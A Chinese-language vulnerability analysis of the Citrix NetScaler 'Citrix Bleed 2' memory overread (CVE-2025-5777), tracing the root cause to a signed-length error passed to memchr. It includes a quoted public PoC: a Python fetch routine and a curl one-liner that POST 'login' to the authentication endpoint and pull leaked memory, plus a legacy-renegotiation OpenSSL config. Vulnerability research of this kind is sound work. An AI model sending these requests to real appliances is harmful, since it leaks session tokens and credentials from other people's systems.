2025年6月17日,Citrix 官方公开修复了两个 CVE 漏洞:CVE-2025-5349和CVE-2025-5777。其中,CVE-2025-5349漏洞的CVSS v4.0 评分为8.7,CVE-2025-5777漏洞的 CVSS v4.0 评分为9.3。
本篇文章将对CVE-2025-5777漏洞的成因进行分析。
官方对CVE-2025-5777漏洞的描述为:
Insufficient input validation leading to memory overread.
由此可以得知,该漏洞应该是一个内存泄露漏洞。
受影响的版本信息如下所示:
NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-43.56
NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-58.32
NetScaler ADC 13.1-FIPS and NDcPP BEFORE 13.1-37.235-FIPS and NDcPP
NetScaler ADC 12.1-FIPS BEFORE 12.1-55.328-FIPS
在部分文章中,把该漏洞称为Citrix Bleed 2 漏洞,这让我们想到了 2023 年的Citrix Bleed(CVE-2023-4966)漏洞。
下面我们简单的回顾一下CVE-2023-4966[1]漏洞。
CVE-2023-4966 漏洞的根本原因在于对 snprintf函数返回值的误用。相关的漏洞代码如下所示:
want_to_write_len = snprintf(
print_temp_rule,
0x10000,
(unsigned int)"......https://%.*s/oauth/idp/userinfo......",
......
hostname);
authv2_json_resp = 1;
if ( (unsigned int)ns_vpn_send_response(a1, 0x100040LL, print_temp_rule, want_to_write_len) )
{
问题在于,snprintf返回的并非实际写入缓冲区的长度,而是理论上需要写入的字符总长度。在未对 hostname长度进行有效限制的情况下,虽然实际写入 print_temp_rule的数据长度不会超过 0x10000,但返回值 want_to_write_len却有可能超过该值。
随后,ns_vpn_send_response在构造 Web 响应时,直接使用了 want_to_write_len作为长度参数。这种错误的长度使用,导致了超过 print_temp_rule实际分配范围的内存被泄露到响应中,从而形成信息泄露漏洞。
简而言之,print_temp_rule的最大容量为 0x10000,而 want_to_write_len却可能远超该限制,最终导致了超出缓冲区的数据被意外泄露。
要对 Citrix 进行漏洞分析,有哪些前提工作,在之前的文章[2]中都有讲过,这里不详细讲解,只列一个流程:
pb_policy -h nothing。下面,我们回到CVE-2025-5777漏洞,来分析一下 Citrix Bleed 2 的漏洞成因。距离漏洞公布已经过去快一个月了,网上也有很多该漏洞的 PoC 公布[3],如下所示:
async def fetch(session, url):
full_url = f"{url}/p/u/doAuthentication.do"
try:
async with session.post(full_url, data="login", proxy=proxy, ssl=False) as response:
if verbose:
print(f"{Fore.CYAN}[DEBUG] POST to {full_url} -> Status: {response.status}")
if response.status == 200:
content = await response.read()
if verbose:
print(f"{Fore.CYAN}[DEBUG] Response body (first 200 bytes): {content[:200]!r}")
extract_initial_value(content)
else:
if verbose:
print(f"{Fore.RED}[DEBUG] Non-200 status code received: {response.status}")
except aiohttp.ClientConnectorError as e:
print(f"{Fore.RED}[!] Connection Error: {e}")
except Exception as e:
print(f"{Fore.RED}[!] Unexpected Error: {e}")
bash 版的简化 PoC 如下所示:
$ OPENSSL_CONF=custom-openssl.cnf curl -v https://test.citrix.com/p/u/doAuthentication.do -d 'login'
这里说个题外话,由于OpenSSL 从 3.x 版本开始,将安全重协商设为强制要求,不再默认允许不安全的旧协议重协商(legacy renegotiation)。而我测试的 Citrix ADC 不支持RFC 5746 安全重协商(Secure Renegotiation),因此需要通过配置临时开启旧式重协商支持。
使用OPENSSL_CONF环境变量来加载自己的 openssl 配置,配置信息如下所示:
openssl_conf = openssl_init
[openssl_init]
ssl_conf = ssl_sect
[ssl_sect]
system_default = system_default_sect
[system_default_sect]
Options = UnsafeLegacyServerConnect
泄露的信息位于:InitialValue标签中,如下所示:

有了 PoC,并且能测试成功后,我们可以对该漏洞的成因进行分析了。接下来就是对Citrix 的 nsppe 进行分析。
通过响应内容进行字符串搜索,能定位到函数ns_authv2_login_fail_response中的以下代码:

经过分析,user_struct应该是aaa_info结构体。其中(uint8)user_struct为 username 的长度,(char *)(user_struct + 0x38)为 username 字符串的值。
通过下断点调试,可以确定该 sprint 为泄露点。在 POST 数据为:login时,user_struct + 0x38的值就是泄露出的内存值。以下为 gdb 插件代码:
# 输出 rbx 地址、rcx 长度、r8 指向的字符串
break *0x11111
commands
printf "[0x7087A0] rbx (address) = 0x%lx\n", $rbx
printf "[0x7087A0] rcx (length) = %ld\n", $rcx
printf "[0x7087A0] r8 (string) = \"%s\"\n", (char *)$r8
continue
end
但是进一步分析发现,username 的最大长度也就只有0x7F,不至于造成溢出/越界,而是 username 字段本身的值就是泄露的内存值,那么是从哪泄露出来呢?
使用 gdb 的backtrace,再加上 IDA静态分析,我定位到ns_get_username_password函数的以下代码:

上述代码的逻辑流程如下所示:
=符号前的内容。key == "login",则将对应的 value写入 aaa_info->username中。&符号进行分隔处理,并对数据执行 urldecode解码操作。该漏洞的根本原因出现在 key 匹配的逻辑中。假设传入的 POST 数据为:login。此时由于数据中不存在 =符号,v17被赋值为整个 POST 数据的长度,即 5。而后续计算中,v19 = v17 - v17 - 1 = -1。虽然 v19的类型为 int,这是一个有符号类型,但问题出现在后续的使用中。
在代码 v56 = _wrap_memchr(v52, '&', v19);中,memchr函数的原型为:
void *memchr(const void *s, int c, size_t n);
可以看到,memchr的第三个参数类型为 size_t,属于无符号整型。当 v19 = -1被传入该参数时,隐式类型转换将其转换为无符号数,即 0xFFFFFFFFFFFFFFFF(在 64 位系统下)。
memchr的功能是:从地址 s开始,最多在长度为 n的内存区域内查找字符 c。由于此处 n被解释为一个极大的正数,memchr将在几乎整个地址空间内进行查找,导致越界访问。
但是,却存在一个限制点,在 urldecode 的逻辑中,限制了最大长度为0x7F,这就导致我们最多只能泄露出0x7F 的数据。
在后续的流程中,由于post_length=v19 - len(value),并且post_length为 int 型,所以post_length < 0,这就进入到错误流程,进入到了ns_send_vpnerr_redirect函数,如下所示:
LABEL_10:
v202 = 1;
goto LABEL_11;
......
LABEL_11:
post_data = &v52[v19 + 1];
v13 = post_length;
if ( post_length <= 0 )
goto LABEL_269;
......
LABEL_269:
if ( v202 )
goto user_error;
......
user_error:
ns_send_vpnerr_redirect(a1, 0, (__int64)v10); // v10为aaa_info 结构体,而泄露出的内存,已经复制到aaa_info->username 中
// ns_send_vpnerr_redirect函数
......
ns_authv2_login_fail_response(a1, (const char *)aaa_info);
Citrix Bleed漏洞的危害在于: 1. 利用门槛极低(攻击者只需构造特定请求即可触发漏洞,目前已有大量公开 PoC); 2. 危害核心数据(可直接泄露内存中的敏感信息,如 Cookie、Session Token 等身份凭据); 3. 隐蔽性强(无需认证即可利用,难以被日志检测发现)。
该漏洞再次揭示了企业在边界安全设备(如 VPN、网关等)领域的薄弱环节,引发了行业对身份凭据泄露、零信任架构等话题的更广泛关注。